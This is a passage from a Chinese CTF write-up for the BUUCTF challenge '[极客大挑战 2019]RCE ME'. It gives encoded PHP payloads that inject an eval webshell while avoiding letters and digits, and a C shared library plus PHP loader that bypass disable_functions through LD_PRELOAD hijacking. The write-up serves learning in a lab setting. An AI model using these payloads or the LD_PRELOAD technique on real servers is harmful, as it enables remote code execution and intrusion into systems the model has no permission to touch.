IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [极客大挑战 2019]RCE ME -> 正文阅读

[PHP知识库][极客大挑战 2019]RCE ME

链接: buuctf [极客大挑战 2019]RCE ME.

写在前面

啊通过这道题学到了很多新的知识,在此记录一下,自己也真是蛮拖延的,需要改变一下了,路漫漫其修远兮哇

无字母数字RCE

在这里插入图片描述

通过取反或异或来进行绕过,即将不含字母数字的字符串通过取反或异或的方式构造想要的payload。
这里想要构造的来连接蚁剑的payload如下所示:

code=assert(eval($_POST['ma']));
或者是
code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);

用取反的方法经php的urlencode编码后得到payload如下:

code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%92%9E%DD%A2%D6%D6);

用异或的方法经php的urlencode编码后得到的payload如下

code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);

成功连接蚁剑

在这里插入图片描述

劫持共享so

在蚁剑中发现了flag和阅读flag的可执行程序,猜测要运行该可执行程序来获取flag。
在这里插入图片描述
通过code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=phpinfo()
查看发现禁用了大部分能执行命令的函数orz
在这里插入图片描述
接下来就进入我的未知领域了,链接: 参考文章: 深入浅出LD_PRELOAD & putenv().
可以使用蚁剑的插件(绕过disable_functions),也可以用github的文件,这里主要记录下我从原理中学到的方法。

LD_PRELOAD

LD_PRELOAD指定的环境变量路径的共享库文件会在其他共享库前先一步调用,通过putenv即可设置该环境变量。
于是我们可以想到,编写一个会调用共享库文件函数的php程序,然后再编写一个含有同名函数的c语言程序(包含想执行的命令),并生成.so共享库文件然后通过putenv设置成LD_PRELOAD。于是在php程序运行的时候根据链接规则会调用我们编写的同名函数,这样就达到了劫持共享so的目的。

__ attribute __ ((constructor))

编写同名函数的方法自然是可行的(如geteuid),更通用的方法则是采用__attribute__((constructor)),它会在程序刚开始运行,共享库开始加载时即触发。

执行过程

首先是编写执行的c语言程序

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

__attribute__((__constructor__)) void angel(){
    unsetenv("LD_PRELOAD");
    system("/readflag > /var/tmp/1.txt");
}

然后生成共享库文件1.so

gcc 1.c -fPIC -shared -o 1.so

编写对应php程序

<?php 
    putenv("LD_PRELOAD=/var/tmp/1.so");
    mail("","","","");
    var_dump(file_get_contents('/var/tmp/1.txt'));
?>

将php文件和so文件上传
在这里插入图片描述
通过include包含上传文件来加载共享库执行命令。
即想要上传的命令为

code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');

payload为

code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');

最后得到flag
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-19 00:56:09  更:2022-02-19 00:57:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:58:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码